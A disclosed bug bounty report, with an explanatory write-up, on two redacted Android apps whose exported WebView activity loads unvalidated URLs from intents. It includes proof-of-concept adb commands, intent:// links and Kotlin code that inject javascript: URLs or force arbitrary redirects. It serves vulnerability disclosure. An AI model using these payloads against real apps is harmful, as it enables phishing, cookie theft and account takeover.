█████████ (Android): Vulnerable to Javascript Injection and Open redirect
Two Android apps export a WebView activity that accepts a URL from an intent extra and loads it without validation. An attacker could pass a javascript: URL to run script inside the app's WebView, or pass any HTTPS URL to redirect the user to an arbitrary site.
Originally disclosed on HackerOne
- Triaged in 19 hours
- Fixed in 23 days
- Disclosed after 39 days
Description: Good afternoon,
I have discovered a misconfiguration in the WebView components of two apps, ████. This vulnerability allows an attacker to execute JavaScript and open any URL through a link or a malicious app.
The root cause of this issue is that certain activities are exported and set as browsable, exposing them to potential exploitation. ████████
Impact
The potential impact of this vulnerability is high, as it allows an attacker to execute XSS within the WebView and open any HTTPS website. Possible attacks include phishing, creating fake login pages, and stealing service members' credentials. This could result in not only taking over ██████████ accounts but also potentially accessing other military applications and websites.
Additionally, the ability to execute JavaScript in these WebViews could enable attackers to steal cookies, further compromising user security.
System Host(s)
███
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
**My Military One Source: **
adb shell am start -n ████/████████.kotlin.MVVM.Utils.Web.WebviewActivity --es URL "javascript:(function() { alert('XSS by Cleanchain') })();"
adb shell am start -n ████████/███.kotlin.MVVM.Utils.Web.WebviewActivity --es URL "https://URL"
Browser Example:
<body>
<a href="intent://app/feedback#Intent;scheme=mymos;package=█████████;S.URL=javascript:(function() { alert('XSS by Cleanchain') })();end">Open XSS</a>
<a href="intent://app/feedback#Intent;scheme=mymos;package=█████████;S.URL=https://URL;end">Open URL</a>
</body>
Malicious App Example:
val intent = Intent().apply {
setClassName("█████", "███████.kotlin.MVVM.Utils.Web.WebviewActivity")
putExtra("URL", "javascript:(function() { alert('XSS by Cleanchain') })()")
}
startActivity(intent)
val intent = Intent().apply {
setClassName("████", "██████.kotlin.MVVM.Utils.Web.WebviewActivity")
putExtra("URL", "https://URL")
}
startActivity(intent)
Chill Drills:
adb shell am start -n ██████████/███████.Utils.Web.WebviewActivity --es URL "javascript:(function() { alert('XSS by Cleanchain') })();"
adb shell am start -n ██████/█████████.Utils.Web.WebviewActivity --es URL "https://URL"
Browser Example:
<body>
<a href="intent://app/feedback#Intent;scheme=chdr;package=██████████;S.URL=javascript:(function() { alert('XSS by Cleanchain') })();end">Open XSS - █████████</a>
<a href="intent://app/feedback#Intent;scheme=chdr;package=███;S.URL=https://URL;end">Open URL - ███</a>
</body>
Malicious App Example:
val intent = Intent().apply {
setClassName("██████", "████████.Utils.Web.WebviewActivity")
putExtra("URL", "javascript:(function() { alert('XSS by Cleanchain') })()")
}
startActivity(intent)
val intent = Intent().apply {
setClassName("███████", "████████.Utils.Web.WebviewActivity")
putExtra("URL", "https://URL")
}
startActivity(intent)
Suggested Mitigation/Remediation Actions
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The WebView activity is exported and browsable, and it loads the URL from the intent extra without validating the scheme or host.
Impact
An attacker could run script inside the app's WebView to steal cookies or show fake login pages, and could redirect users to any HTTPS site, potentially leading to account takeover.
What the attacker needed
Victim installs or opens a crafted link/app; attacker can send an intent to the exported activity
The fix
The report suggests no mitigation; a fix would need to restrict the exported activity or validate URLs.
How it was found
- Use adb to start the exported WebView activity with a javascript: URL in the URL extra.
- Observe the script running inside the app's WebView.
- Alternatively, start the same activity with an HTTPS URL to make the app open an arbitrary site.
- The same can be done from a web page using an intent link, or from a malicious app using an explicit intent.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Android apps can expose screens (activities) so other apps or links can open them. Here the exposed screen is a web browser view, and it trusts whatever web address it is handed. Because it does not check that the address is a normal web page, someone can hand it a script instead, which then runs inside the app.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.